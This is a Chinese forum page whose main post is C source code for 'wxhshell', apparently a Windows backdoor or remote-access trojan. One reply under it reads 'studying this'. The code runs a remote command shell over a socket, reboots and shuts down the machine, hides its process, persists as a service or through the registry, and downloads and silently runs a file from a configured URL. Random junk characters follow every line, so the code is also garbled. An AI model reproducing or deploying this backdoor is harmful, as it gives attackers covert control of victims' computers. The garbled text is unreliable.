  if(DownloadFile(cmd,wsh)) $e4N4e2x/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,cS_687o  
  else vgDpo@fz8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eB_r.R{  
  } :.=j)ljTx  
  else { l1`r%9gr  
@(*A<2;N  
    switch(cmd[0]) { 3P>1-=  
  Dk$<fMS,7c  
  // 帮助 @vib54G  
  case '?': { 3*\Q]|SI!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SHB'g){P  
    break; av5a2r0W1  
  } BHU$QX  
  // 安装 /ece}7M  
  case 'i': { x)N QRd  
    if(Install()) VR1[-OE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6;hFcO  
    else oC} u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q7_Ttjn-DV  
    break; $B<:SuV#  
    } rH,@"( p\  
  // 卸载 ;/pI@C k  
  case 'r': { lIx./Nf  
    if(Uninstall()) KXl!VD,#`=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TF!v,cX  
    else ]9 _}S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dHg[r|xC  
    break; 5D<ZtsXE  
    } [MKG5=kaE  
  // 显示 wxhshell 所在路径 .#iot(g  
  case 'p': {  /d!  
    char svExeFile[MAX_PATH]; ^A=tk!C  
    strcpy(svExeFile,"\n\r"); UU[z\^w| E  
      strcat(svExeFile,ExeFile); Zo^]y'  
        send(wsh,svExeFile,strlen(svExeFile),0); '/X]96Ci7  
    break; !J!&JQ|  
    } v.4G>00^  
  // 重启 n53c} ^  
  case 'b': { 3HuGb^SNg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6r D]6#D  
    if(Boot(REBOOT)) nN-S5?X#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xsPt  
    else { )[M:#;,L  
    closesocket(wsh); x H=15JY1W  
    ExitThread(0); d:^B2~j  
    } H[OgnnM  
    break; _/%,cYVc8!  
    } }a9G,@:k  
  // 关机 "lt5gu!`u  
  case 'd': { rev*G:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %yjD<2J;  
    if(Boot(SHUTDOWN)) v[8+fd)}S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T2.[iD!A  
    else { ITn PF{N  
    closesocket(wsh); n|rKo<Y0  
    ExitThread(0); ~LOE^6C+~o  
    } liLhvcd  
    break; hOj+z?  
    } Gky^S#  
  // 获取shell 0WSZhzNyY  
  case 's': { E'U x2sh  
    CmdShell(wsh); aH @-"Wi  
    closesocket(wsh); 5U+4vV/*  
    ExitThread(0); O1t$]k:  
    break; kcg\f@d$  
  } IPYwUix  
  // 退出 [2Nux0g  
  case 'x': { s/C'f4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pz)>y&_o  
    CloseIt(wsh); _'L16@q  
    break; 0%}*Zo(e+  
    } J>nBTY,_<  
  // 离开 hh%?E\qM  
  case 'q': { f^u-Myk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bJD$!*r\%!  
    closesocket(wsh); ysp`(n=  
    WSACleanup(); NsM`kZM4H  
    exit(1); b l+g7g;  
    break; +`{OOp=  
        } 5dE=M};v  
  } + Hv'u  
  } (1GU  
v0E6i!D/  
  // 提示信息 |K-`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |vGHhzZ|  
} Pgy[\t2K  
  } {Y Y,{H  
E0&d*BI2  
  return; fbbbTZy  
} :|niFK4  
|Rhqi  
// shell模块句柄 Q% d1n*;+  
int CmdShell(SOCKET sock) i 61k  
{ 4:N*C7 P  
STARTUPINFO si; c-Yd> 4+ 1  
ZeroMemory(&si,sizeof(si)); CPRVSN0b{4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { $yju_[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /"j 3B\`?  
PROCESS_INFORMATION ProcessInfo; ;`:YZ+2 Z  
char cmdline[]="cmd"; ArNQ}F/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "2sk1  
  return 0; N8#j|yf  
} 7dACbqba  
pb)8?1O|s  
// 自身启动模式 (?JdiY/  
int StartFromService(void) Z f\~Cl  
{ fC*cqc~{@  
typedef struct -,p=;t#(  
{ ZcyGLg0I  
  DWORD ExitStatus; \i%mokfbc  
  DWORD PebBaseAddress; (4A'$O2  
  DWORD AffinityMask; [x>Ju&))$  
  DWORD BasePriority; 9CeR^/i  
  ULONG UniqueProcessId; &s(&B>M  
  ULONG InheritedFromUniqueProcessId; uXh:/KO  
}   PROCESS_BASIC_INFORMATION; 3Ioe#*5\  
=uAy/S  
PROCNTQSIP NtQueryInformationProcess; +?m.uY(  
1d]F$ >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ow3.jHsLA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T:Klr=&V  
%KT}Map  
  HANDLE             hProcess; c:9n8skE7  
  PROCESS_BASIC_INFORMATION pbi; Dpw*m.f  
'EAskA] *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kmx^\vDs  
  if(NULL == hInst ) return 0; U{hu7  
8SKrpwy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); er)I".|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xzf,S;XV~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oYStf5  
BU/A\4xQ,Y  
  if (!NtQueryInformationProcess) return 0; V<I(M<Dj  
ty0P9.Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;t\h"K<,|  
  if(!hProcess) return 0; }A24;'}  
&gY) x{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #Q^" .#  
}a6t<m`V  
  CloseHandle(hProcess); VoZ{I{>|  
cpltTJFg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @q/g%-WNz  
if(hProcess==NULL) return 0; `/P/2{,~  
Wa<<"x$  
HMODULE hMod; i!?gga  
char procName[255]; `<X-3)>;G  
unsigned long cbNeeded; !sm/BsmL7T  
!V37ePFje  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Qf}nWy  
:Tg+)cZ  
  CloseHandle(hProcess); 67& hXIp  
&S*~EM.l8  
if(strstr(procName,"services")) return 1; // 以服务启动 ,=m.WmXE  
Jd>~gA}l  
  return 0; // 注册表启动 s51$x M  
} $El-pMq  
5h#h>0F  
// 主模块 .w.:o2L  
int StartWxhshell(LPSTR lpCmdLine) S v>6:y9?G  
{ k5.5$<< T  
  SOCKET wsl; "lL+Heq>V  
BOOL val=TRUE; -y+>^45  
  int port=0; :OY~Q3 @  
  struct sockaddr_in door; "+"=iwEAz  
+&`W\?.~  
  if(wscfg.ws_autoins) Install(); != ,4tg`  
XZM3zlg*  
port=atoi(lpCmdLine); `NsjtT'_  
sV  
if(port<=0) port=wscfg.ws_port; i U$ ~H  
lZ\8W^  
  WSADATA data; 7mi!yTr}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^QRg9s,T<  
|:=o\eu&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /8h=6"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2nd n8_l  
  door.sin_family = AF_INET; )S)L9('IxT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tF0jH+7J-  
  door.sin_port = htons(port); B;1qy[  
~.m<`~u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F3qK6Ah.  
closesocket(wsl); /9w>:i81  
return 1; !LI<%P)  
} :jLL IqhB  
q!5:M\  
  if(listen(wsl,2) == INVALID_SOCKET) { %SM;B-/zHt  
closesocket(wsl); +J X;T(T  
return 1; g\JJkXjD#  
} V0\[|E;F  
  Wxhshell(wsl); HgF;[rq3Q  
  WSACleanup(); )\fY1WD  
f&^(f1WO  
return 0; pIJXP$v3  
4]y)YNQ(  
} pE4a~:  
'-;[8:y.  
// 以NT服务方式启动 e<L@QNX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7^q~a(j  
{ m|@H`=`d  
DWORD   status = 0; 9Eyx Ob  
  DWORD   specificError = 0xfffffff; ~?Q sr  
9oWU]A\k>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !+T1kMP+l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,BU;i%G&s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SiratkP9n7  
  serviceStatus.dwWin32ExitCode     = 0; SA x9cjj+  
  serviceStatus.dwServiceSpecificExitCode = 0; 9E!le=>  
  serviceStatus.dwCheckPoint       = 0; Sjpx G@k  
  serviceStatus.dwWaitHint       = 0; kXMp()N8`  
G'ykcB._  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :gh[BeqQ)  
  if (hServiceStatusHandle==0) return; ?{{w[U6NE  
|cPHl+$nh.  
status = GetLastError(); o\IMYT  
  if (status!=NO_ERROR) u epyH  
{ Ey46JO"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c3A\~tHW  
    serviceStatus.dwCheckPoint       = 0; }htjT/Nm  
    serviceStatus.dwWaitHint       = 0; dj0; tQ=C  
    serviceStatus.dwWin32ExitCode     = status; tMIYVHGy  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]A#lV$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^:eZpQ [,  
    return; ;;Q^/rkC  
  } )O]T}eI  
@;Ttdwg#J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6o 3 bq|  
  serviceStatus.dwCheckPoint       = 0; mPV<a&U  
  serviceStatus.dwWaitHint       = 0; NO"PO @&Wk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ccf/hA#mb  
} +eM${JyXH  
XpIiJry!6  
// 处理NT服务事件,比如:启动、停止 3FEJ 9ZyG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p*Bty@CRi  
{ I2ek`t]  
switch(fdwControl) &|>+LP@8  
{ 24mdhT|  
case SERVICE_CONTROL_STOP: H"C'<(4*\  
  serviceStatus.dwWin32ExitCode = 0; C$3*[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T(4d5 fY  
  serviceStatus.dwCheckPoint   = 0; ]T4/dk&|o^  
  serviceStatus.dwWaitHint     = 0; kIrrbD  
  { yVd^A2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -EjXVn! vQ  
  } `2~>$Tr  
  return; .J"N}  
case SERVICE_CONTROL_PAUSE: 3dShznlf_*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fV(3RG  
  break; Lpchla$  
case SERVICE_CONTROL_CONTINUE: pJpapA2l*6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jcH@*c=%e  
  break; =8kmFXo  
case SERVICE_CONTROL_INTERROGATE: US6_5>/  
  break; 092t6D}  
};  R$a<=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \INH[X#>  
} )*|/5wW1  
P:qmg"i@3  
// 标准应用程序主函数 !*IMWm>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T5BZD +Ta  
{ l^B.iB  
E_HB[ 9  
// 获取操作系统版本 Qy,^'fSN  
OsIsNt=GetOsVer(); B~Q-V&@o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f0Q6sVZHa  
15$xa_w}L  
  // 从命令行安装 ;|N:F G  
  if(strpbrk(lpCmdLine,"iI")) Install(); Tt[zSlIMx  
BG{f)2F\  
  // 下载执行文件 'm%{Rz>j  
if(wscfg.ws_downexe) { R;& >PFmq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8#I>`z^F  
  WinExec(wscfg.ws_filenam,SW_HIDE); T:|/ux3  
} A]1Nm3@  
prBLNZp  
if(!OsIsNt) { J3Mb]X)_}  
// 如果时win9x,隐藏进程并且设置为注册表启动 e5 =d Ev  
HideProc(); 9N ]Xa  
StartWxhshell(lpCmdLine); 7*'/E#M  
} MfTLa)Rz  
else #c!:&9oU  
  if(StartFromService()) Nz{dnV{&x;  
  // 以服务方式启动 rCyb3,W  
  StartServiceCtrlDispatcher(DispatchTable); OI R5QH  
else ]n ?x tI  
  // 普通方式启动  w-jElV  
  StartWxhshell(lpCmdLine); 0MQ= Rt  
#F*|@  
return 0; o3ZN0j69|  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八